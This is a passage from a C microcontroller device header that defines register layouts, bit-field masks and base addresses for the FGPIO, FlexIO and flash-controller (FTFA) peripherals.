/** Peripheral FGPIOA base pointer */
#define FGPIOA ((FGPIO_Type *)FGPIOA_BASE)
/** Peripheral FGPIOM base address */
#define FGPIOM_BASE (0xF9000000u)
/** Peripheral FGPIOM base pointer */
#define FGPIOM ((FGPIO_Type *)FGPIOM_BASE)
/** Array initializer of FGPIO peripheral base addresses */
#define FGPIO_BASE_ADDRS { FGPIOA_BASE, FGPIOM_BASE }
/** Array initializer of FGPIO peripheral base pointers */
#define FGPIO_BASE_PTRS { FGPIOA, FGPIOM }
/*!
* @}
*/ /* end of group FGPIO_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- FLEXIO Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup FLEXIO_Peripheral_Access_Layer FLEXIO Peripheral Access Layer
* @{
*/
/** FLEXIO - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
__IO uint32_t CTRL; /**< FlexIO Control Register, offset: 0x8 */
__I uint32_t PIN; /**< Pin State Register, offset: 0xC */
__IO uint32_t SHIFTSTAT; /**< Shifter Status Register, offset: 0x10 */
__IO uint32_t SHIFTERR; /**< Shifter Error Register, offset: 0x14 */
__IO uint32_t TIMSTAT; /**< Timer Status Register, offset: 0x18 */
uint8_t RESERVED_0[4];
__IO uint32_t SHIFTSIEN; /**< Shifter Status Interrupt Enable, offset: 0x20 */
__IO uint32_t SHIFTEIEN; /**< Shifter Error Interrupt Enable, offset: 0x24 */
__IO uint32_t TIMIEN; /**< Timer Interrupt Enable Register, offset: 0x28 */
uint8_t RESERVED_1[4];
__IO uint32_t SHIFTSDEN; /**< Shifter Status DMA Enable, offset: 0x30 */
uint8_t RESERVED_2[12];
__IO uint32_t SHIFTSTATE; /**< Shifter State Register, offset: 0x40 */
uint8_t RESERVED_3[60];
__IO uint32_t SHIFTCTL[8]; /**< Shifter Control N Register, array offset: 0x80, array step: 0x4 */
uint8_t RESERVED_4[96];
__IO uint32_t SHIFTCFG[8]; /**< Shifter Configuration N Register, array offset: 0x100, array step: 0x4 */
uint8_t RESERVED_5[224];
__IO uint32_t SHIFTBUF[8]; /**< Shifter Buffer N Register, array offset: 0x200, array step: 0x4 */
uint8_t RESERVED_6[96];
__IO uint32_t SHIFTBUFBIS[8]; /**< Shifter Buffer N Bit Swapped Register, array offset: 0x280, array step: 0x4 */
uint8_t RESERVED_7[96];
__IO uint32_t SHIFTBUFBYS[8]; /**< Shifter Buffer N Byte Swapped Register, array offset: 0x300, array step: 0x4 */
uint8_t RESERVED_8[96];
__IO uint32_t SHIFTBUFBBS[8]; /**< Shifter Buffer N Bit Byte Swapped Register, array offset: 0x380, array step: 0x4 */
uint8_t RESERVED_9[96];
__IO uint32_t TIMCTL[8]; /**< Timer Control N Register, array offset: 0x400, array step: 0x4 */
uint8_t RESERVED_10[96];
__IO uint32_t TIMCFG[8]; /**< Timer Configuration N Register, array offset: 0x480, array step: 0x4 */
uint8_t RESERVED_11[96];
__IO uint32_t TIMCMP[8]; /**< Timer Compare N Register, array offset: 0x500, array step: 0x4 */
uint8_t RESERVED_12[352];
__IO uint32_t SHIFTBUFNBS[8]; /**< Shifter Buffer N Nibble Byte Swapped Register, array offset: 0x680, array step: 0x4 */
uint8_t RESERVED_13[96];
__IO uint32_t SHIFTBUFHWS[8]; /**< Shifter Buffer N Half Word Swapped Register, array offset: 0x700, array step: 0x4 */
uint8_t RESERVED_14[96];
__IO uint32_t SHIFTBUFNIS[8]; /**< Shifter Buffer N Nibble Swapped Register, array offset: 0x780, array step: 0x4 */
} FLEXIO_Type;
/* ----------------------------------------------------------------------------
-- FLEXIO Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup FLEXIO_Register_Masks FLEXIO Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define FLEXIO_VERID_FEATURE_MASK (0xFFFFU)
#define FLEXIO_VERID_FEATURE_SHIFT (0U)
#define FLEXIO_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_VERID_FEATURE_SHIFT)) & FLEXIO_VERID_FEATURE_MASK)
#define FLEXIO_VERID_MINOR_MASK (0xFF0000U)
#define FLEXIO_VERID_MINOR_SHIFT (16U)
#define FLEXIO_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_VERID_MINOR_SHIFT)) & FLEXIO_VERID_MINOR_MASK)
#define FLEXIO_VERID_MAJOR_MASK (0xFF000000U)
#define FLEXIO_VERID_MAJOR_SHIFT (24U)
#define FLEXIO_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_VERID_MAJOR_SHIFT)) & FLEXIO_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter Register */
#define FLEXIO_PARAM_SHIFTER_MASK (0xFFU)
#define FLEXIO_PARAM_SHIFTER_SHIFT (0U)
#define FLEXIO_PARAM_SHIFTER(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_PARAM_SHIFTER_SHIFT)) & FLEXIO_PARAM_SHIFTER_MASK)
#define FLEXIO_PARAM_TIMER_MASK (0xFF00U)
#define FLEXIO_PARAM_TIMER_SHIFT (8U)
#define FLEXIO_PARAM_TIMER(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_PARAM_TIMER_SHIFT)) & FLEXIO_PARAM_TIMER_MASK)
#define FLEXIO_PARAM_PIN_MASK (0xFF0000U)
#define FLEXIO_PARAM_PIN_SHIFT (16U)
#define FLEXIO_PARAM_PIN(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_PARAM_PIN_SHIFT)) & FLEXIO_PARAM_PIN_MASK)
#define FLEXIO_PARAM_TRIGGER_MASK (0xFF000000U)
#define FLEXIO_PARAM_TRIGGER_SHIFT (24U)
#define FLEXIO_PARAM_TRIGGER(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_PARAM_TRIGGER_SHIFT)) & FLEXIO_PARAM_TRIGGER_MASK)
/*! @name CTRL - FlexIO Control Register */
#define FLEXIO_CTRL_FLEXEN_MASK (0x1U)
#define FLEXIO_CTRL_FLEXEN_SHIFT (0U)
#define FLEXIO_CTRL_FLEXEN(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_CTRL_FLEXEN_SHIFT)) & FLEXIO_CTRL_FLEXEN_MASK)
#define FLEXIO_CTRL_SWRST_MASK (0x2U)
#define FLEXIO_CTRL_SWRST_SHIFT (1U)
#define FLEXIO_CTRL_SWRST(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_CTRL_SWRST_SHIFT)) & FLEXIO_CTRL_SWRST_MASK)
#define FLEXIO_CTRL_FASTACC_MASK (0x4U)
#define FLEXIO_CTRL_FASTACC_SHIFT (2U)
#define FLEXIO_CTRL_FASTACC(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_CTRL_FASTACC_SHIFT)) & FLEXIO_CTRL_FASTACC_MASK)
#define FLEXIO_CTRL_DBGE_MASK (0x40000000U)
#define FLEXIO_CTRL_DBGE_SHIFT (30U)
#define FLEXIO_CTRL_DBGE(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_CTRL_DBGE_SHIFT)) & FLEXIO_CTRL_DBGE_MASK)
#define FLEXIO_CTRL_DOZEN_MASK (0x80000000U)
#define FLEXIO_CTRL_DOZEN_SHIFT (31U)
#define FLEXIO_CTRL_DOZEN(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_CTRL_DOZEN_SHIFT)) & FLEXIO_CTRL_DOZEN_MASK)
/*! @name PIN - Pin State Register */
#define FLEXIO_PIN_PDI_MASK (0xFFFFFFFFU)
#define FLEXIO_PIN_PDI_SHIFT (0U)
#define FLEXIO_PIN_PDI(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_PIN_PDI_SHIFT)) & FLEXIO_PIN_PDI_MASK)
/*! @name SHIFTSTAT - Shifter Status Register */
#define FLEXIO_SHIFTSTAT_SSF_MASK (0xFFU)
#define FLEXIO_SHIFTSTAT_SSF_SHIFT (0U)
#define FLEXIO_SHIFTSTAT_SSF(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTSTAT_SSF_SHIFT)) & FLEXIO_SHIFTSTAT_SSF_MASK)
/*! @name SHIFTERR - Shifter Error Register */
#define FLEXIO_SHIFTERR_SEF_MASK (0xFFU)
#define FLEXIO_SHIFTERR_SEF_SHIFT (0U)
#define FLEXIO_SHIFTERR_SEF(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTERR_SEF_SHIFT)) & FLEXIO_SHIFTERR_SEF_MASK)
/*! @name TIMSTAT - Timer Status Register */
#define FLEXIO_TIMSTAT_TSF_MASK (0xFFU)
#define FLEXIO_TIMSTAT_TSF_SHIFT (0U)
#define FLEXIO_TIMSTAT_TSF(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMSTAT_TSF_SHIFT)) & FLEXIO_TIMSTAT_TSF_MASK)
/*! @name SHIFTSIEN - Shifter Status Interrupt Enable */
#define FLEXIO_SHIFTSIEN_SSIE_MASK (0xFFU)
#define FLEXIO_SHIFTSIEN_SSIE_SHIFT (0U)
#define FLEXIO_SHIFTSIEN_SSIE(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTSIEN_SSIE_SHIFT)) & FLEXIO_SHIFTSIEN_SSIE_MASK)
/*! @name SHIFTEIEN - Shifter Error Interrupt Enable */
#define FLEXIO_SHIFTEIEN_SEIE_MASK (0xFFU)
#define FLEXIO_SHIFTEIEN_SEIE_SHIFT (0U)
#define FLEXIO_SHIFTEIEN_SEIE(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTEIEN_SEIE_SHIFT)) & FLEXIO_SHIFTEIEN_SEIE_MASK)
/*! @name TIMIEN - Timer Interrupt Enable Register */
#define FLEXIO_TIMIEN_TEIE_MASK (0xFFU)
#define FLEXIO_TIMIEN_TEIE_SHIFT (0U)
#define FLEXIO_TIMIEN_TEIE(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMIEN_TEIE_SHIFT)) & FLEXIO_TIMIEN_TEIE_MASK)
/*! @name SHIFTSDEN - Shifter Status DMA Enable */
#define FLEXIO_SHIFTSDEN_SSDE_MASK (0xFFU)
#define FLEXIO_SHIFTSDEN_SSDE_SHIFT (0U)
#define FLEXIO_SHIFTSDEN_SSDE(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTSDEN_SSDE_SHIFT)) & FLEXIO_SHIFTSDEN_SSDE_MASK)
/*! @name SHIFTSTATE - Shifter State Register */
#define FLEXIO_SHIFTSTATE_STATE_MASK (0x7U)
#define FLEXIO_SHIFTSTATE_STATE_SHIFT (0U)
#define FLEXIO_SHIFTSTATE_STATE(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTSTATE_STATE_SHIFT)) & FLEXIO_SHIFTSTATE_STATE_MASK)
/*! @name SHIFTCTL - Shifter Control N Register */
#define FLEXIO_SHIFTCTL_SMOD_MASK (0x7U)
#define FLEXIO_SHIFTCTL_SMOD_SHIFT (0U)
#define FLEXIO_SHIFTCTL_SMOD(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCTL_SMOD_SHIFT)) & FLEXIO_SHIFTCTL_SMOD_MASK)
#define FLEXIO_SHIFTCTL_PINPOL_MASK (0x80U)
#define FLEXIO_SHIFTCTL_PINPOL_SHIFT (7U)
#define FLEXIO_SHIFTCTL_PINPOL(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCTL_PINPOL_SHIFT)) & FLEXIO_SHIFTCTL_PINPOL_MASK)
#define FLEXIO_SHIFTCTL_PINSEL_MASK (0x1F00U)
#define FLEXIO_SHIFTCTL_PINSEL_SHIFT (8U)
#define FLEXIO_SHIFTCTL_PINSEL(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCTL_PINSEL_SHIFT)) & FLEXIO_SHIFTCTL_PINSEL_MASK)
#define FLEXIO_SHIFTCTL_PINCFG_MASK (0x30000U)
#define FLEXIO_SHIFTCTL_PINCFG_SHIFT (16U)
#define FLEXIO_SHIFTCTL_PINCFG(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCTL_PINCFG_SHIFT)) & FLEXIO_SHIFTCTL_PINCFG_MASK)
#define FLEXIO_SHIFTCTL_TIMPOL_MASK (0x800000U)
#define FLEXIO_SHIFTCTL_TIMPOL_SHIFT (23U)
#define FLEXIO_SHIFTCTL_TIMPOL(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCTL_TIMPOL_SHIFT)) & FLEXIO_SHIFTCTL_TIMPOL_MASK)
#define FLEXIO_SHIFTCTL_TIMSEL_MASK (0x7000000U)
#define FLEXIO_SHIFTCTL_TIMSEL_SHIFT (24U)
#define FLEXIO_SHIFTCTL_TIMSEL(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCTL_TIMSEL_SHIFT)) & FLEXIO_SHIFTCTL_TIMSEL_MASK)
/* The count of FLEXIO_SHIFTCTL */
#define FLEXIO_SHIFTCTL_COUNT (8U)
/*! @name SHIFTCFG - Shifter Configuration N Register */
#define FLEXIO_SHIFTCFG_SSTART_MASK (0x3U)
#define FLEXIO_SHIFTCFG_SSTART_SHIFT (0U)
#define FLEXIO_SHIFTCFG_SSTART(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCFG_SSTART_SHIFT)) & FLEXIO_SHIFTCFG_SSTART_MASK)
#define FLEXIO_SHIFTCFG_SSTOP_MASK (0x30U)
#define FLEXIO_SHIFTCFG_SSTOP_SHIFT (4U)
#define FLEXIO_SHIFTCFG_SSTOP(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCFG_SSTOP_SHIFT)) & FLEXIO_SHIFTCFG_SSTOP_MASK)
#define FLEXIO_SHIFTCFG_INSRC_MASK (0x100U)
#define FLEXIO_SHIFTCFG_INSRC_SHIFT (8U)
#define FLEXIO_SHIFTCFG_INSRC(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCFG_INSRC_SHIFT)) & FLEXIO_SHIFTCFG_INSRC_MASK)
#define FLEXIO_SHIFTCFG_PWIDTH_MASK (0x1F0000U)
#define FLEXIO_SHIFTCFG_PWIDTH_SHIFT (16U)
#define FLEXIO_SHIFTCFG_PWIDTH(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTCFG_PWIDTH_SHIFT)) & FLEXIO_SHIFTCFG_PWIDTH_MASK)
/* The count of FLEXIO_SHIFTCFG */
#define FLEXIO_SHIFTCFG_COUNT (8U)
/*! @name SHIFTBUF - Shifter Buffer N Register */
#define FLEXIO_SHIFTBUF_SHIFTBUF_MASK (0xFFFFFFFFU)
#define FLEXIO_SHIFTBUF_SHIFTBUF_SHIFT (0U)
#define FLEXIO_SHIFTBUF_SHIFTBUF(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTBUF_SHIFTBUF_SHIFT)) & FLEXIO_SHIFTBUF_SHIFTBUF_MASK)
/* The count of FLEXIO_SHIFTBUF */
#define FLEXIO_SHIFTBUF_COUNT (8U)
/*! @name SHIFTBUFBIS - Shifter Buffer N Bit Swapped Register */
#define FLEXIO_SHIFTBUFBIS_SHIFTBUFBIS_MASK (0xFFFFFFFFU)
#define FLEXIO_SHIFTBUFBIS_SHIFTBUFBIS_SHIFT (0U)
#define FLEXIO_SHIFTBUFBIS_SHIFTBUFBIS(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTBUFBIS_SHIFTBUFBIS_SHIFT)) & FLEXIO_SHIFTBUFBIS_SHIFTBUFBIS_MASK)
/* The count of FLEXIO_SHIFTBUFBIS */
#define FLEXIO_SHIFTBUFBIS_COUNT (8U)
/*! @name SHIFTBUFBYS - Shifter Buffer N Byte Swapped Register */
#define FLEXIO_SHIFTBUFBYS_SHIFTBUFBYS_MASK (0xFFFFFFFFU)
#define FLEXIO_SHIFTBUFBYS_SHIFTBUFBYS_SHIFT (0U)
#define FLEXIO_SHIFTBUFBYS_SHIFTBUFBYS(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTBUFBYS_SHIFTBUFBYS_SHIFT)) & FLEXIO_SHIFTBUFBYS_SHIFTBUFBYS_MASK)
/* The count of FLEXIO_SHIFTBUFBYS */
#define FLEXIO_SHIFTBUFBYS_COUNT (8U)
/*! @name SHIFTBUFBBS - Shifter Buffer N Bit Byte Swapped Register */
#define FLEXIO_SHIFTBUFBBS_SHIFTBUFBBS_MASK (0xFFFFFFFFU)
#define FLEXIO_SHIFTBUFBBS_SHIFTBUFBBS_SHIFT (0U)
#define FLEXIO_SHIFTBUFBBS_SHIFTBUFBBS(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTBUFBBS_SHIFTBUFBBS_SHIFT)) & FLEXIO_SHIFTBUFBBS_SHIFTBUFBBS_MASK)
/* The count of FLEXIO_SHIFTBUFBBS */
#define FLEXIO_SHIFTBUFBBS_COUNT (8U)
/*! @name TIMCTL - Timer Control N Register */
#define FLEXIO_TIMCTL_TIMOD_MASK (0x3U)
#define FLEXIO_TIMCTL_TIMOD_SHIFT (0U)
#define FLEXIO_TIMCTL_TIMOD(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCTL_TIMOD_SHIFT)) & FLEXIO_TIMCTL_TIMOD_MASK)
#define FLEXIO_TIMCTL_PINPOL_MASK (0x80U)
#define FLEXIO_TIMCTL_PINPOL_SHIFT (7U)
#define FLEXIO_TIMCTL_PINPOL(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCTL_PINPOL_SHIFT)) & FLEXIO_TIMCTL_PINPOL_MASK)
#define FLEXIO_TIMCTL_PINSEL_MASK (0x1F00U)
#define FLEXIO_TIMCTL_PINSEL_SHIFT (8U)
#define FLEXIO_TIMCTL_PINSEL(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCTL_PINSEL_SHIFT)) & FLEXIO_TIMCTL_PINSEL_MASK)
#define FLEXIO_TIMCTL_PINCFG_MASK (0x30000U)
#define FLEXIO_TIMCTL_PINCFG_SHIFT (16U)
#define FLEXIO_TIMCTL_PINCFG(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCTL_PINCFG_SHIFT)) & FLEXIO_TIMCTL_PINCFG_MASK)
#define FLEXIO_TIMCTL_TRGSRC_MASK (0x400000U)
#define FLEXIO_TIMCTL_TRGSRC_SHIFT (22U)
#define FLEXIO_TIMCTL_TRGSRC(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCTL_TRGSRC_SHIFT)) & FLEXIO_TIMCTL_TRGSRC_MASK)
#define FLEXIO_TIMCTL_TRGPOL_MASK (0x800000U)
#define FLEXIO_TIMCTL_TRGPOL_SHIFT (23U)
#define FLEXIO_TIMCTL_TRGPOL(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCTL_TRGPOL_SHIFT)) & FLEXIO_TIMCTL_TRGPOL_MASK)
#define FLEXIO_TIMCTL_TRGSEL_MASK (0x3F000000U)
#define FLEXIO_TIMCTL_TRGSEL_SHIFT (24U)
#define FLEXIO_TIMCTL_TRGSEL(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCTL_TRGSEL_SHIFT)) & FLEXIO_TIMCTL_TRGSEL_MASK)
/* The count of FLEXIO_TIMCTL */
#define FLEXIO_TIMCTL_COUNT (8U)
/*! @name TIMCFG - Timer Configuration N Register */
#define FLEXIO_TIMCFG_TSTART_MASK (0x2U)
#define FLEXIO_TIMCFG_TSTART_SHIFT (1U)
#define FLEXIO_TIMCFG_TSTART(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCFG_TSTART_SHIFT)) & FLEXIO_TIMCFG_TSTART_MASK)
#define FLEXIO_TIMCFG_TSTOP_MASK (0x30U)
#define FLEXIO_TIMCFG_TSTOP_SHIFT (4U)
#define FLEXIO_TIMCFG_TSTOP(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCFG_TSTOP_SHIFT)) & FLEXIO_TIMCFG_TSTOP_MASK)
#define FLEXIO_TIMCFG_TIMENA_MASK (0x700U)
#define FLEXIO_TIMCFG_TIMENA_SHIFT (8U)
#define FLEXIO_TIMCFG_TIMENA(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCFG_TIMENA_SHIFT)) & FLEXIO_TIMCFG_TIMENA_MASK)
#define FLEXIO_TIMCFG_TIMDIS_MASK (0x7000U)
#define FLEXIO_TIMCFG_TIMDIS_SHIFT (12U)
#define FLEXIO_TIMCFG_TIMDIS(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCFG_TIMDIS_SHIFT)) & FLEXIO_TIMCFG_TIMDIS_MASK)
#define FLEXIO_TIMCFG_TIMRST_MASK (0x70000U)
#define FLEXIO_TIMCFG_TIMRST_SHIFT (16U)
#define FLEXIO_TIMCFG_TIMRST(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCFG_TIMRST_SHIFT)) & FLEXIO_TIMCFG_TIMRST_MASK)
#define FLEXIO_TIMCFG_TIMDEC_MASK (0x300000U)
#define FLEXIO_TIMCFG_TIMDEC_SHIFT (20U)
#define FLEXIO_TIMCFG_TIMDEC(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCFG_TIMDEC_SHIFT)) & FLEXIO_TIMCFG_TIMDEC_MASK)
#define FLEXIO_TIMCFG_TIMOUT_MASK (0x3000000U)
#define FLEXIO_TIMCFG_TIMOUT_SHIFT (24U)
#define FLEXIO_TIMCFG_TIMOUT(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCFG_TIMOUT_SHIFT)) & FLEXIO_TIMCFG_TIMOUT_MASK)
/* The count of FLEXIO_TIMCFG */
#define FLEXIO_TIMCFG_COUNT (8U)
/*! @name TIMCMP - Timer Compare N Register */
#define FLEXIO_TIMCMP_CMP_MASK (0xFFFFU)
#define FLEXIO_TIMCMP_CMP_SHIFT (0U)
#define FLEXIO_TIMCMP_CMP(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_TIMCMP_CMP_SHIFT)) & FLEXIO_TIMCMP_CMP_MASK)
/* The count of FLEXIO_TIMCMP */
#define FLEXIO_TIMCMP_COUNT (8U)
/*! @name SHIFTBUFNBS - Shifter Buffer N Nibble Byte Swapped Register */
#define FLEXIO_SHIFTBUFNBS_SHIFTBUFNBS_MASK (0xFFFFFFFFU)
#define FLEXIO_SHIFTBUFNBS_SHIFTBUFNBS_SHIFT (0U)
#define FLEXIO_SHIFTBUFNBS_SHIFTBUFNBS(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTBUFNBS_SHIFTBUFNBS_SHIFT)) & FLEXIO_SHIFTBUFNBS_SHIFTBUFNBS_MASK)
/* The count of FLEXIO_SHIFTBUFNBS */
#define FLEXIO_SHIFTBUFNBS_COUNT (8U)
/*! @name SHIFTBUFHWS - Shifter Buffer N Half Word Swapped Register */
#define FLEXIO_SHIFTBUFHWS_SHIFTBUFHWS_MASK (0xFFFFFFFFU)
#define FLEXIO_SHIFTBUFHWS_SHIFTBUFHWS_SHIFT (0U)
#define FLEXIO_SHIFTBUFHWS_SHIFTBUFHWS(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTBUFHWS_SHIFTBUFHWS_SHIFT)) & FLEXIO_SHIFTBUFHWS_SHIFTBUFHWS_MASK)
/* The count of FLEXIO_SHIFTBUFHWS */
#define FLEXIO_SHIFTBUFHWS_COUNT (8U)
/*! @name SHIFTBUFNIS - Shifter Buffer N Nibble Swapped Register */
#define FLEXIO_SHIFTBUFNIS_SHIFTBUFNIS_MASK (0xFFFFFFFFU)
#define FLEXIO_SHIFTBUFNIS_SHIFTBUFNIS_SHIFT (0U)
#define FLEXIO_SHIFTBUFNIS_SHIFTBUFNIS(x) (((uint32_t)(((uint32_t)(x)) << FLEXIO_SHIFTBUFNIS_SHIFTBUFNIS_SHIFT)) & FLEXIO_SHIFTBUFNIS_SHIFTBUFNIS_MASK)
/* The count of FLEXIO_SHIFTBUFNIS */
#define FLEXIO_SHIFTBUFNIS_COUNT (8U)
/*!
* @}
*/ /* end of group FLEXIO_Register_Masks */
/* FLEXIO - Peripheral instance base addresses */
/** Peripheral FLEXIO0 base address */
#define FLEXIO0_BASE (0x400CA000u)
/** Peripheral FLEXIO0 base pointer */
#define FLEXIO0 ((FLEXIO_Type *)FLEXIO0_BASE)
/** Array initializer of FLEXIO peripheral base addresses */
#define FLEXIO_BASE_ADDRS { FLEXIO0_BASE }
/** Array initializer of FLEXIO peripheral base pointers */
#define FLEXIO_BASE_PTRS { FLEXIO0 }
/** Interrupt vectors for the FLEXIO peripheral type */
#define FLEXIO_IRQS { FLEXIO0_IRQn }
/*!
* @}
*/ /* end of group FLEXIO_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- FTFA Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup FTFA_Peripheral_Access_Layer FTFA Peripheral Access Layer
* @{
*/
/** FTFA - Register Layout Typedef */
typedef struct {
__IO uint8_t FSTAT; /**< Flash Status Register, offset: 0x0 */
__IO uint8_t FCNFG; /**< Flash Configuration Register, offset: 0x1 */
__I uint8_t FSEC; /**< Flash Security Register, offset: 0x2 */
__I uint8_t FOPT; /**< Flash Option Register, offset: 0x3 */
__IO uint8_t FCCOB3; /**< Flash Common Command Object Registers, offset: 0x4 */
__IO uint8_t FCCOB2; /**< Flash Common Command Object Registers, offset: 0x5 */
__IO uint8_t FCCOB1; /**< Flash Common Command Object Registers, offset: 0x6 */
__IO uint8_t FCCOB0; /**< Flash Common Command Object Registers, offset: 0x7 */
__IO uint8_t FCCOB7; /**< Flash Common Command Object Registers, offset: 0x8 */
__IO uint8_t FCCOB6; /**< Flash Common Command Object Registers, offset: 0x9 */
__IO uint8_t FCCOB5; /**< Flash Common Command Object Registers, offset: 0xA */
__IO uint8_t FCCOB4; /**< Flash Common Command Object Registers, offset: 0xB */
__IO uint8_t FCCOBB; /**< Flash Common Command Object Registers, offset: 0xC */
__IO uint8_t FCCOBA; /**< Flash Common Command Object Registers, offset: 0xD */
__IO uint8_t FCCOB9; /**< Flash Common Command Object Registers, offset: 0xE */
__IO uint8_t FCCOB8; /**< Flash Common Command Object Registers, offset: 0xF */
__IO uint8_t FPROT3; /**< Program Flash Protection Registers, offset: 0x10 */
__IO uint8_t FPROT2; /**< Program Flash Protection Registers, offset: 0x11 */
__IO uint8_t FPROT1; /**< Program Flash Protection Registers, offset: 0x12 */
__IO uint8_t FPROT0; /**< Program Flash Protection Registers, offset: 0x13 */
uint8_t RESERVED_0[4];
__I uint8_t XACCH3; /**< Execute-only Access Registers, offset: 0x18 */
__I uint8_t XACCH2; /**< Execute-only Access Registers, offset: 0x19 */
__I uint8_t XACCH1; /**< Execute-only Access Registers, offset: 0x1A */
__I uint8_t XACCH0; /**< Execute-only Access Registers, offset: 0x1B */
__I uint8_t XACCL3; /**< Execute-only Access Registers, offset: 0x1C */
__I uint8_t XACCL2; /**< Execute-only Access Registers, offset: 0x1D */
__I uint8_t XACCL1; /**< Execute-only Access Registers, offset: 0x1E */
__I uint8_t XACCL0; /**< Execute-only Access Registers, offset: 0x1F */
__I uint8_t SACCH3; /**< Supervisor-only Access Registers, offset: 0x20 */
__I uint8_t SACCH2; /**< Supervisor-only Access Registers, offset: 0x21 */
__I uint8_t SACCH1; /**< Supervisor-only Access Registers, offset: 0x22 */
__I uint8_t SACCH0; /**< Supervisor-only Access Registers, offset: 0x23 */
__I uint8_t SACCL3; /**< Supervisor-only Access Registers, offset: 0x24 */
__I uint8_t SACCL2; /**< Supervisor-only Access Registers, offset: 0x25 */
__I uint8_t SACCL1; /**< Supervisor-only Access Registers, offset: 0x26 */
__I uint8_t SACCL0; /**< Supervisor-only Access Registers, offset: 0x27 */
__I uint8_t FACSS; /**< Flash Access Segment Size Register, offset: 0x28 */
uint8_t RESERVED_1[2];
__I uint8_t FACSN; /**< Flash Access Segment Number Register, offset: 0x2B */
} FTFA_Type;
/* ----------------------------------------------------------------------------
-- FTFA Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup FTFA_Register_Masks FTFA Register Masks
* @{
*/
/*! @name FSTAT - Flash Status Register */
#define FTFA_FSTAT_MGSTAT0_MASK (0x1U)
#define FTFA_FSTAT_MGSTAT0_SHIFT (0U)
#define FTFA_FSTAT_MGSTAT0(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSTAT_MGSTAT0_SHIFT)) & FTFA_FSTAT_MGSTAT0_MASK)
#define FTFA_FSTAT_FPVIOL_MASK (0x10U)
#define FTFA_FSTAT_FPVIOL_SHIFT (4U)
#define FTFA_FSTAT_FPVIOL(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSTAT_FPVIOL_SHIFT)) & FTFA_FSTAT_FPVIOL_MASK)
#define FTFA_FSTAT_ACCERR_MASK (0x20U)
#define FTFA_FSTAT_ACCERR_SHIFT (5U)
#define FTFA_FSTAT_ACCERR(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSTAT_ACCERR_SHIFT)) & FTFA_FSTAT_ACCERR_MASK)
#define FTFA_FSTAT_RDCOLERR_MASK (0x40U)
#define FTFA_FSTAT_RDCOLERR_SHIFT (6U)
#define FTFA_FSTAT_RDCOLERR(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSTAT_RDCOLERR_SHIFT)) & FTFA_FSTAT_RDCOLERR_MASK)
#define FTFA_FSTAT_CCIF_MASK (0x80U)
#define FTFA_FSTAT_CCIF_SHIFT (7U)
